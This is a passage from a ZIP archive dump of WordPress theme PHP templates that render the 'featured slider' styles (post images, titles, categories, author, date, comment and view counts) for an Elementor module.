												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( ( $i % 7 == 0 || $i % 7 == 1 || $i % 7 == 3 || $i % 7 == 5 ) && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\O-    A  inc/elementor/modules/penci-featured-sliders/widgets/style-11.phpnu [        <?php
/**
 * Template part for Slider Style 11
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();
$post_thumb_m_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
                    <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_m_size ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_m_size : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ( isset($settings['cspost_enable']) && $settings['cspost_enable'] ) || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\^|v    A  inc/elementor/modules/penci-featured-sliders/widgets/style-24.phpnu [        <?php
/**
 * Template part for Slider Style 24
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size; endif;

				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 || $i % 4 == 2 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\,wj  j  @  inc/elementor/modules/penci-featured-sliders/widgets/style-1.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( $show_viewscount ) {
									echo '<span class="feat-countviews">';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
									'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
									'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
									'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
									'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php $list_post_ids[] = get_the_ID(); ?>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     N\s  s  A  inc/elementor/modules/penci-featured-sliders/widgets/style-40.phpnu [        <?php
/**
 * Template part for Slider Style 40
 */

$image_size      = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<div class="slider-40-wrapper">
    <div class="img-blur-container">
        <div class="container-bg-slider-40">
			<?php
			$count = 0;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$ft_class = $count ++ == 0 ? ' current' : '';
				?>
                <div data-index="<?php echo $count; ?>" class="item-bg-slider-40 <?php echo $ft_class; ?>">
                    <div class="item-bg-slider-40-content">
                    	<?php if ( ! $disable_lazyload ) { ?>
                    	<div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip bg-img-slider-40-behind"></div>
                    	<?php } else { ?>
                        <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip bg-img-slider-40-behind"></div>
                        <?php } ?>
                    </div>
                </div>
			<?php endwhile; ?>
        </div>
    </div>
    <div class="container-slider-40">
        <div class="galery-slider-40">
            <div class="slider-creative">
                <div class="nav-slider-slider-40 nav-slider hidden-xs">
                    <button id="prev-hl" class="btn-reset nav-slider-button prev-button waves-effect"><i
                                class="penciicon-left-chevron"></i></button>
                    <button id="next-hl" class="btn-reset nav-slider-button next-button waves-effect"><i
                                class="penciicon-right-chevron"></i></button>
                </div>
                <div class="list-slider-creative">

					<?php while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                        <div class="item-slider-creative">
                            <div class="content-item-creative">
                                <div class="main-slide penci-43-slider-item content-item-creative">
                                	<?php if ( ! $disable_lazyload ) { ?>
                                	<div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip img-container"></div>
                                	<?php } else { ?>
                                    <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip img-container"></div>
                                    <?php } ?>
                                    <div>
										<?php if ( ! $hide_categories ): ?>
                                            <div class="cat featured-cat number-tv small-title-opa"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3 class="title-part white-title"><a
                                                    title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                    href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>

										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
										<?php endif; ?>

                                        <?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                            <div class="featured-slider-excerpt">
                                                <p><?php $excerpt = get_the_excerpt();
                                                    echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
                                        <?php endif; ?>

                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
					<?php endwhile; ?>
                </div>
            </div>
            
        </div>

    </div>
    <div class="container-thumb-creative">
		<div class="swiper nav-thumb-creative penci-owl-carousel penci-owl-carousel-slider" data-item="4"
			 data-desktop="4" data-loop="false" data-nav="false" data-thumb="yes" data-auto="false">
			<div class="swiper-wrapper">
				<?php
				$countz = 0;
				while ( $feat_query->have_posts() ) : $feat_query->the_post();
					$ftz_class = $countz ++ == 0 ? ' current' : '';
					?>
					<div class="swiper-slide">
						<div class="swiper-slide-inner">
							<a data-index="<?php echo $countz; ?>" href="<?php the_permalink() ?>"
							   class="thumb-container<?php echo $ftz_class; ?>">
							   <?php if ( ! $disable_lazyload ) { ?>
							   	<span class="<?php echo penci_classes_slider_lazy(); ?> penci-image-holder" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-masonry-thumb' ); ?>"></span>
							   <?php } else { ?>
							   <span class="penci-image-holder" style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-masonry-thumb' ); ?>);"></span>
								<?php } ?>
							</a>
						</div>
					</div>
				<?php endwhile; ?>
			</div>
		</div>
	</div>
</div>PK     N\9ؾ	  	  A  inc/elementor/modules/penci-featured-sliders/widgets/style-29.phpnu [        <?php
/**
 * Template part for Slider Style 29
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
            <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
                        <div class="penci-featured-slider-button">
                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                        </div>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     N\Dk  k  A  inc/elementor/modules/penci-featured-sliders/widgets/style-45.phpnu [        <?php
/**
 * Template part for Slider Style 45
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( $show_viewscount ) {
									echo '<span class="feat-countviews">';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
									'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
									'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
									'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
									'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php $list_post_ids[] = get_the_ID(); ?>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     N\
g9{  {  A  inc/elementor/modules/penci-featured-sliders/widgets/style-22.phpnu [        <?php
/**
 * Template part for Slider Style 22
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 7 == 1 || $i % 7 == 2 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 || $i % 7 == 2 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 || $i % 7 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 7 == 1 || $i % 7 == 2 ): echo ' lager-size-icon'; endif; ?>">
